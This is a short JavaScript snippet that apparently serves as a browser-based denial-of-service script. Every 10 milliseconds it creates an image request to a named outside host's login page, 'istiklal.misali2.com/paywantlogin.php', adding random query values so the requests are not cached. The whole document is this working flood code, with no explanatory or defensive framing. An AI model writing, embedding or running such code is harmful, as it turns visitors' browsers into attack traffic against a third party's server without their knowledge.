function makeid(length) { var result = ''; var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; var charactersLength = characters.length; for ( var i = 0; i < length; i++ ) { result += characters.charAt(Math.floor(Math.random() * charactersLength)); } return result; } function imgflood() { var TARGET = 'istiklal.misali2.com' var URI = '/paywantlogin.php?pid=' var pic = new Image() var rand = Math.floor(Math.random() * 1000) pic.src = 'https://'+TARGET+URI+rand+'&sas=' +makeid(5) console.log(pic.src) } setInterval(imgflood, 10)